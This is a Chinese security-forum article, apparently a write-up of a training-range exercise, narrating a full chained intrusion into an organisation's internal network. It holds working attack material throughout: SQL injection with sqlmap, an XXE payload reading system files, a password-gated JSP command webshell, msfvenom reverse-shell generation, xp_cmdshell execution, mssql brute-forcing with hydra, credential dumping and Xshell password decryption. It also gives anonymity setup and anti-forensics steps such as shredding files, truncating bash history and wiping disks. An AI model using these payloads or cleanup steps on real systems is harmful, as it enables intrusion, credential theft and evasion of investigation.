问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
揭秘 | 渗透内网工作组的链式艺术
本文的背景是师傅Z给徒弟007的一次模拟实战环境的靶场考核测试,想考察其渗透入门级环境的思路和能力。本文基于007的转述而成,颇为详细地记录了他渗透指定目标时的整个链式攻击路径。笔者作为渗透小白,感觉能从中学到很多的东西,征得同意,分享出来一起学习!
0x00 前言 ======= 本文的背景是师傅Z给徒弟007的一次模拟实战环境的靶场考核测试,想考察其渗透入门级环境的思路和能力。本文基于007的转述而成,颇为详细地记录了他渗透指定目标时的整个链式攻击路径。笔者作为渗透小白,感觉能从中学到很多的东西,征得同意,分享出来一起学习! 0x01 渗透准备 ========= **浏览器设置:** 1)Chrome浏览器确保更新到最新版本。 2)Chrome浏览器设置,权限全都设置为不允许。 3)Chrome隐私设置和安全性全部清理一遍。 4)安装WebRTC Network Limiter,关掉UDP请求,防止泄露IP。 5)安装可靠的User-Agent混淆插件,市面上很多插件依然会泄露UA。 6)安装隐私獾插件,防止被追踪。 7)安装ModHeader插件,混淆HTTP协议信息并伪造IP头。 **IP隐藏设置:** 外部网络: 通过高匿渠道购入不同平台的3~5台VPS,用于后续使用。 选择其中一台用来搭建VPN,一台用来搭建Clash/v2ray接入其他机场回到国内高速代理,过程需要确保加密数据再传输,以防出现不可控外部风险。 内部网络: 树莓派充当软路由,加入全局跳板,确保VPN不会宕机,同时源IP多一层跳板,防止真实IP泄露。 **物理环境:** 使用非实名的日抛流量卡/手机卡,自带话费,打完一次就换。 **桌面环境:** 将移动SSD固态硬盘多次复写后再安装纯净的Linux/Macos系统,然后安装相应平台的虚拟机,拷贝纯净Kali镜像作为桌面环境使用,执行自定义工作流安装脚本,安装一些著名开源常用工具的**稳定版**。 网络匿名性检测网站: <https://whoer.net/> <https://www.astrill.com/> <https://proxy-checker.net/> **注意事项:** 尽量避免使用第三方工具,避免全量爆破(容易打出预警),避免依赖脚本POC、尽可能手工测试,采用原生系统自带工具,善于伪装原生行为,来执行一系列低感知、少痕迹、无害化的渗透动作。 1. 关于渗透准备的环节的内容,笔者认为大可不必,但读者根据个人需要可以自行增减,更加细节化这个环节,有助于降低被溯源的概率,但是如果缺乏足够成熟的匿名设施,那么会在某个程度上,这些行为可能会阻碍渗透的速度,故抛砖引玉、因人而异、因地制宜。 0x02 前期打点 ========= 目标域名:xxxxxxx.com 预期目标:低成本、短时间(2~3天)能够了解内网拓扑,定位到核心机器并完成接管。 主域名为门户网站,并没有太多功能,没能找到切入点,故工作内容可以转向攻击面延伸的打点环节。 子域名信息: ```java 1. subfindr -d xxxxxxx.com -o redacted.txt ``` IP探测(cdn): ```java 1. cat redacted.txt|xargs -P 5 -I {} mip {} ``` 分析域名历史解析记录、多节点Ping,确认无CDN,得到真实网段1.0.0.1/24 端口扫描: ```java 1. # VPS 2. masscan -p1-65535 --rate=2000 1.0.0.1/24 3. 4. # FOFA/ZOOMEYE/SHODAN聚合 5. Search: ip = "1.0.0.1/24" ``` 获取title信息: ```java 1. cat redacted.txt|httpx -threads 5 -web-server --title --status-code 2. cat ip.txt|httpx -threads 5 -web-server --title --status-code ``` 扫描robots.txt: ```java 1. cat redacted.txt|httpx -threads 20 --title --status-code -path '/robots.txt' 2. cat ip.txt|httpx -threads 20 --title --status-code -path '/robots.txt' ``` 扫描文件泄漏: ```java 1. cat redacted\_all.txt|nuclei -rate-limit 50 -tlog request.debug -t ~/nuclei-templates/files/ 2. Google Dork: 3. site:xxxxxxx.com inurl:login 4. site:xxxxxxx.com inurl:upload 5. site:xxxxxxx.com intext:管理|登陆|邮箱|手机 6. site:xxxxxxx.com ext:docx|pdf 7. ...... ``` 收集到多个登陆口及其开放的服务: ```java 1. https://xxxxxxx.com/stuxxx/login.html 2. https://xxxxxxx.com/conxxx/login/login.html 3. https://redacted.xxxx.com/conxxx/ 4. http://ixx.xxxxxxx.com/conxxx/ 5. http://exam.xxxxxxx.com/exam/ 6. https://peixxxx.xxxxxxx.com/peixxx/login/ 7. http://ixx.xxxxxxx.com/console/ 8. https://x.x.x.x:6443/welcome.php 乱入的VPN 9. ...... ``` 社会关系信息:组织成员、管理人员邮箱、域名备案信息、招聘信息...  0x03 边界漏洞 ========= 加载默认配置Burp,主动关掉主被动扫描模式,配置Project Option的代理,再设置好Target Options,接下来,用挂上Burp代理的浏览器去测试打点环节中获取到的大量WEB服务URL。 3.1 发现SQL注入 ----------- 某个子域名用户中心的订单查看的功能处,会发起一个POST请求,参数course\_id较为可疑。 ```java 1. POST /xxxx/pay/addTrade HTTP/1.1 2. body: course\_id = 1 ``` 通过简单的数字运算和)|'|"闭合确定存在无回显的SQL注入,支持布尔盲注和延时注入,布尔盲注有一个缺点就是,匹配成功会导致生成一个订单,会显得很异常,可能需要自行编写脚本进行改良,二就是选用延时进行注入。这里我选择了延时注入,因为POST请求相对于GET请求较为隐蔽,又经过测试当前站点防护水位很低,一个WAF都没有,故可以选择SQLMAP来读取指定管理员表: ```java 1. sqlmap -r redacted.txt --technique T --random-agent --proxy=http://127.0.0.1:8080 --threads=10 -D course -T user -C "username, password" –dump ```  1. SQLMAP的探测手段比大多数脚本小子都要好,这里需要注意SQLMAP挂上Burp代理来绕过HTTPS的检验,这样也能够审计SQLMAP流经Burp发送的HTTP包内容。 经过一段时间的等待后,可以获取到后台的管理员账户和密码信息,其中密码为明文,这时并不用急着去登陆,因为不一定能Shell,可知数据库为SQLSERVER,查看权限为DBA,故尝试堆叠执行命令,返回结果非常慢,SQLMAP报错,不能够直接利用,先记录下来。 3.2 发现Redis未授权 -------------- 打点环节中利用网络空间搜索引擎的信息可以快速定位到目标Redis未授权访问。 ```java 1. redis-cli -h 1.0.0.126 ```  Windows 64位机器,redis版本3.2.100,无主从复制,可以考虑写Shell或者写启动项进行GetShell。 利用工具写入启动项后需要等待重启才能生效。故想通过路径写Shell,尝试扫描机器上的web服务来收集路径信息: ```java 1. masscan -p1-65535 1.0.0.126 --rate=20000 >2.txt 2. cat 2.txt | grep -P '(\\d+)/tcp' -o|grep -P '\\d+' -o >ports.txt 3. # 纯端口扫描 4. cat ports.txt |xargs -I {} echo "1.0.0.126:"{}|httpx -o 200\_port.txt 5. # 带host扫描 6. cat ports.txt |xargs -I {} echo "x.xxxxxxx.com:"{}|httpx -o 200\_host.txt ``` dirsearch进行目录扫描: ```java 1. cat 200\_\*.txt|xargs -I {} dirsearch --random-agents -t 20 -u {} -e \* ``` FUZZ没有很大收获,9000端口开放了一个Gitlab服务,GitLab Community Edition 8.15.1,其他端口404,并没有路径信息。 针对9000端口的Gitlab,盲尝试[CVE-2021-22205](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205) Github上面的脚本,发现没有成功,考虑到这个版本比较老,故可以先留着,后面如果没有新思路,回头再研究它,毕竟随便整整一个老版本的1day不是很大问题。 0x04 撕口子:命令执行 ============= 到了这一步,很大概率是能获得Shell的,但是有一个情况需要考虑,redis那台机器可能并不能够出网,后续需要改成监听类型的木马,利用起来稍微有点麻烦,不是很适合短期作战的思路,目前的想法还是想找一条直接的路进入内网中,故回到SQL注入那个点,利用SQL注入获取到的账号密码登陆进网站后台。 观察JS发现存在Ueditor的路径,要是asp.net的话还好说,可能可以GetShell,jsp的话一般没有什么漏洞,简单上传一个图片进行测试,如预期一样并不存在配置不当。通过继续点击各个功能,有个设置题目答案选项的点,使用了XML类型的数据,插入XML注入语句进行测试 ```java 1. <?xml version="1.0" encoding="utf-8"?> 2. <!DOCTYPE items \[ 3. <!ENTITY test SYSTEM "file:///etc/passwd"\> \]> 4. <items> 5. <item><serial>1</serial><answer>0</answer><title>&test;</title></item> 6. <item><serial>2</serial><answer>1</answer><title><!\[CDATA\[2\]\]></title></item> 7. <item><serial>3</serial><answer>0</answer><title><!\[CDATA\[3\]\]></title></item> 8. <item><serial>4</serial><answer>0</answer><title><!\[CDATA\[4\]\]></title></item> 9. </items> ``` 回到题目的答案选项,发现可以正常回显出信息,java的XXE支持file://协议列目录,故可以收集到很多有趣的信息,比如.git-credentials  利用文件里面的账户信息,我们可以尝试去9000端口的GitLab进行登陆,很好,Success,Admin权限。  翻找一番项目,根据域名前缀,很快定位到相关的项目的GitUtilController.java文件中的other方法,将可控的参数传进去gitCmds方法进行命令拼接,造成命令执行,阅读项目中的路由接口,很容易就可以构造出利用的POC。  原本打算直接反弹Shell,但是很迷,虽然机器出网,但是没办法对我的VPS或者reverse-shell.sh发起请求,而且tomcat也不支持传入类似-、|之类的符号,导致没办法正常写入文件,为了省事,我最终选择通过ueditor上传CMD JSP和蚁剑一句话,比较顺利。 ```java 1. <% 2. **if**("023".equals(request.getParameter("pwd"))){ 3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 4. **int** a = -1; 5. byte\[\] b = **new** byte\[2048\]; 6. out.print(""); 7. **while**((a=in.read(b))!=-1){ 8. out.println(**new** String(b)); 9. } 10. out.print(""); 11. } 12. %> ``` 成功GetShell之后,分析history,可知网站通过gitlab来部署和更新代码的,开发为了方便选择缓存用户名和密码,用于后续进行验证,方便对网站代码进行更新。(生产环境跟开发环境一体化,自然会出现很多问题)  浏览history中,发现root用户在.ssh路径下写入了一份公钥,说明有人员定期管理这台机器,last定位到管理机器的IP地址:10.0.0.57。  netstat查看网络链接,找到数据库-75和redis-16的链接信息  翻找网站目录的配置文件,web.xml和redis.properties  得到数据库账号密码:UXXCM:5xxI2@xxx,Redis用于缓存,可未授权访问。通过Shell管理工具自带的数据库功能链接到mssql数据库,执行命令查看权限及其出网状态。 ```java 1. exec master..xp\_cmdshell "whoami && nslookup baidu.com" ```  对机器继续收集一些相关信息: Microsoft Windows Server 2019 Datacenter、补丁较少、Administrator账户似乎是机器初始化生成的,管理员登陆日期较为久远,磁盘也没有敏感信息,进程有360。 重点关注下网络链接信息: 发现有57、60、106(shell的IP)链接到数据库,通过简单curl 1.0.0.57发现是没有WEB服务的,那么这个链接很有可能是navicat之类的工具发起的,进一步说明57这台机器应该是核心的控制机器。 0x05 陷入代理困局 =========== 为了更好地对内网进行扫描,迫切需要构建一个socks5代理,并将Linux机器反弹到VPS的MSF,进行后续操作。 一开始打算先搭建FRP搞一条socks5通道出来,这个机器使用其他端口失败,因为访问baidu.com能成功,说明可能开放80、443之类的端口,故尝试使用443常用https端口尝试Bypass。  原以为即将步入内网游戏结束,但是那台机器很佛,有时候能连接到VPS的IP,有时候不行,上传frpc都做不到,为了解决这个问题,不得不对此进行一番排查。 ```java 1. # 系统信息,centos 2. cat /etc/\*release\* 3. # 失败 4. traceroute baidu.com 5. # 发现Generated by NetworkManager 6. cat /etc/resolv.conf 7. # 尝试关闭,依然没有效果 8. systemctl stop NetworkManager 9. # 添加公共dns,看下nslookup是否正常 10. nmcli connection show # 获取网卡名称 ens160 11. nmcli con mod ens160 ipv4.dns "114.114.114.114 8.8.8.8" 12. nmcli con up ens160 # 依然没用 13. # 关闭iptables,发现根本就没有启动 14. systemctl stop iptables ``` 唯一可以知道的是traceout预设的dns服务器ip是成功的,其他DNS服务器例如8.8.8.8则是不行,挺魔性的,没运维经验,猜测是被某个保护进程给强制Battle了。(后面发现不是这样的!)  继续测试,内部估计有白IP和白端口放行,但是那个白IP列表应该是动态的,因为有时候能连接到自己的VPS。  尝试正向反弹Shell,发现外部端口被过滤。ps -ef查看进程,发现存在vmtoolsd,同时/tmp目录出现VM的日志信息,这台机器应该是一台虚拟机,非常迷惑的是一开始,VPS的80端口有时候能被目标机器请求,后面就一直没反应了。于是,我在这个点陷进去了,纠结这个机器不能出网到底是什么原因,进行一系列测试,别的机子是能请求到VPS的,一到目标机器就不行了,甚至连请求都接收不到,但是请求类似知乎、qq、百度这些站点就可以,一时间没什么头绪,先搁置,写会代码放松下。 0x06 阶段成果:主站GetShell ==================== 渗透的本质是信息收集,继续整理手头的信息,一个出网有限制的Shell(数据库mssql、redis账户信息已知)、一个开放redis的gitlab window服务器(Admin账户已知)、前期打点收集到的各种登陆口、账号邮箱等信息。 习惯性地搜集Gitlab中所有项目的数据库链接信息:  结果令我大失所望,连上的都不能出网,更别说一些已经过期连不上的。 继续折腾,脑子一个念头闪过,可能是Shell的这台机子有策略限制的? 如果可以换一台,是不是可能就可以了? 抱着这个想法,基于之前收集到信息,我发现多个项目都是基于一个板子开发的,代码重合度很高,所以经过梳理之后,我整理出与已经shell的网站页面很相似的两个站点peixxx.xxxxxxx.com和xxxing.xxxxxxx.com,通过阅读项目代码,发现都存在同样命令执行漏洞,当我兴高采烈地冲上去请求一波发现,这个洞是需要后台管理员权限的,难道我要重新注册一个账号重新进行一次耗时的SQL注入?难道我要继续留下几百条痕迹?是我的SQLMAP很勇? 因为心疼差不多5毛钱一条的接号短信的费用,让我重新注册一个账号似乎是不可能的事情了,要么试试同样的管理员密码? 在十来年的渗透生涯中,这种成功率很高,信心满满,结果失败了,一气之下,不顾日志记录,连着登陆了好几次,wow???后面我不信邪,继续尝试了其他账户,能成功登陆一些非管理员权限的账户,但是却没办法访问命令执行那个漏洞点,返回包提示访问出错。 **文件上传GetShell** 继续浏览其他项目,搜索有没有类似漏洞,大概看了10个左右,没有发现线索,不过在找的过程,发现了主站的项目,花十几分钟浏览代码,很容易就找到一处文件上传。 1)解析Request的文件表单上传包  2)获取文件名,拼接路径后直接写入文件  漏洞点在getFileNameByTime函数没有对后缀进行处理:  Burp右键构造出表单文件请求包,然后直接发送就可以上传成功。  Shell:  成功GetShell后,第一个念头就是进内网,要不然这样搞Linux有啥意思?信息收集可以放在后面进行梳理,最重要是构建通向内网的隧道和良好的交互式执行环境。 007对隧道执念很深,笔者认为这里应该有很多方式可以搞,比如基于jsp文件来进行扫描和数据库爆破,并不一定非要出网用熟悉的工具来测试。 0x07 兜兜转转进内网 ============ 原本我以为换个服务器应该会不一样了,结果是同样的情况,心态崩了,后面没办法了,得想尽办法搞个代理,方便本地fuzz一下内网服务。 **尝试reGrorg** 上传proxy.jsp,尝试使用网页代理,这个性能一般般,能支持基本RDP的数据传输。 ```java 1. https://xxx.xxxxxxx.com/ueditor/jsp/xxx/proxy.jsp ``` 本地构建代理: ```java 1. python neoreg.py -u "https://xxx.com/ueditor/xx/xx/proxy.jsp" -k password -p 9999 ```  然后用kscan进行socks5代理扫描: ```java 1. kscan --proxy socks5://127.0.0.0:9999 -t 1.0.0.0/24 --threads 10 ``` 效果非常不尽人意,扫描质量并不好。  继续挂着这个低速代理折腾几十分钟,没很大收获,主要是很卡。不过,在这个过程中,对Shell测试其他点后,我发现了命令不回显的原因,是Nginx代理设置了超时时间窗口,超过窗口的花请求就会被断开,导致没有命令结果回显,并不是被Battle,后面通过一些途径弄到了一台国内机器的IP用socat进行端口转发,一切似乎好起来了。 **MSF上线** 生成Linux ELF木马文件: ```java 1. msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=172.16.252.129 LPORT=443 -f elf > shell.elf ``` MSF Server端配置: ```java 1. use exploit/multi/handler 2. set payload linux/x64/meterpreter/reverse\_tcp 3. set lhost 172.16.252.129 4. set lport 443 5. show options 6. exploit ``` 反弹上线  **配置FRP** ```java 1. upload ../shell/frpc 2. upload ../shell/frpc.ini ``` 切换到shell: ```java 1. mv frpc systemed 2. mv frpc.ini config.ini 3. chmod +x ./systemed 4. ./systemed -c config.ini ``` 0x08 内网漫游 ========= 进入内网之后,一切就像切菜了,简单nmap全量扫一波,再次确认基本没有防护软件。 所剩时间并不多,故考虑直接工具一把梭。 快速定位管理机器: shell1:  shell2:  不难可以确定核心的主控在于57、102、131、159、220,其中56、58比较少见。 快速定位Web服务; ```java 1. ./kscan -Pn -t 1.0.0.0/24 -p 80,443,8000-9000 ``` 没发现一些堡垒机之类的集权WEB服务,都是一些很容易日的站点,因为有源码没意思。 因为开放了很多1433,考虑爆破数据库来拿下几台window的机器,看下Window的密码规则。 ```java 1. hydra -L u.txt -P p.txt -M t.txt mssql -vV ```  发现其中有一台机器是56?这不是控制机器么? 好家伙,天助我也。 ```java 1. exec master..xp\_cmdshell "whoami && ipconfig && nslookup baidu.com" ```  权限system,虽然不出网但是问题不是很大,在其他数据库找到出网的机器作为立足点就行。我选择的方案是,在出网的Window机器中直接构建一个共享目录(删起来方便)用来传递木马,采用正向Shell,即可成功上线。 ```java 1. exec master..xp\_cmdshell "cmd \\c \\\\1.0.0.29\\360.exe" ```  直接Dump一波密码。  好家伙,这波让我抓到规律了,密码形式为db+56@xxx,hydra爆破一波,又拿下一些Window机器。  同时在浏览56这台机器的桌面文件夹,我就发现有了Xshell的快捷方式,那么一切似乎也很简单。 Xshell 默认路径 C:\\Users\\Administrator\\AppData\\Roaming\\NetSarang\\Xshell\\Sessions\\  Xshell版本为3.0<5.1,为固定key加密,网上脚本跑一波,解了一波密。  然后很自然的,代入这些账号密码,nmap脚本跑一波,Py处理下结果,成功获取到十几台其他的Linux服务器。 ```java 1. #!/usr/bin/env python3 2. # -\*- coding:utf-8 -\*- 3. 4. import re 5. with open("200.txt", "r") as f: 6. content = f.read() 7. result = re.findall(r"for (\\d+.\\d+.\\d+.\\d+)(?:.|\\n)\*?Accounts:(?:.|\\n)\*?(\\w+:.\*?) -(?:.|\\n)\*?",content) 8. **for** x in result: 9. print(x) ```  自此,基于这3个密码,核心的WEB服务器都可以完全控制。渗透目标基本完结,继续下去没很大意义。 nmap统计下,没拿下的Linux服务器:  nmap统计下没拿下的Window服务器:  经过一番测试,感觉这些机器并没有很多有趣的信息,反而在其他IP有一些信息,能够打向开发植入木马。 不过没拿下的IP中有台核心控制机器57,感觉可以扩大范围,不过对我来说没啥意义,况且根据整理出的密码特征,慢慢爆破一波也不是很难。  0x09 痕迹清理 ========= 每次做完项目,都要花大量的时间在清理痕迹这个环节中,所以每次渗透前都要考虑怎么做才可以避免减少这个环节的工作量,比如工具上传到某个统一的隐藏文件夹,工具检测环境变量来自删除、编写脚本实现日志自动删除等等...... 我们是从外到内打进去的,那么清理痕迹就从内到外,需要反过来进行处理,和入栈出栈差不多。 1)一般来说我都不会连RDP,因为这个会留下系统审核日志,要不然需要打开日志管理器清除一下。 2)CS我一般不落地,CS结束完所有全部进程前,用tasklist /svc看一下,注入powershell一定要退出。 3)落地的CS马则必须要基本删除一次,来增加溯源成本。一般来说,我的木马在反沙箱这块设计是和常规思路反着来的,这次测试比较成功,没有沙箱上线,说明后门还没有上传被分析。   4)Linux清理一系列进程,并清除Shell文件及其对应位置的目录,这一块计划后面统一上内存shell。 ```java 1. ps -ef|grep 'pty'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {} 2. ps -ef|grep '/bin/sh -c cd'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {} 3. shred -zvu -n 5 ./temp/\*.jsp 4. rm -r ./temp 5. sed '120,$d' -i /root/.bash\_history 6. ...... ``` 5)数据库和log文件,尽量删,模糊搜索log字符串,基于日期定位,再选择性删掉比较明显的痕迹,做不到100%无痕,因为可能有上游记录,目的就是增加溯源路径成本。 6)格式化VPS服务器,删除掉所有信息。 ```java 1. dd **if**\=/dev/zero of=/dev/raw/raw1 bs=1k count=3000 ``` 0x10 文末结语 ========= 有幸与007一起交流内网渗透的知识,很感谢007的耐心指导,并欣赏其能够大方地分享自己常用的链式渗透思路。笔者结合007给出的靶场案例进行总结,链式流程:前期准备->边界打点->0day/1day GetShell->内网代理->内网漫游->痕迹清理->反思改进。不得不说,这个过程确实很完整很有参考意义,不过其中一些细节方面,007没能进一步详细说明,颇为遗憾!
发表于 2022-05-18 09:38:24
阅读 ( 10198 )
分类:
内网渗透
7 推荐
收藏
1 条评论
古月方源
2024-11-01 11:40
太强了
请先
登录
后评论
请先
登录
后评论
26号院
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!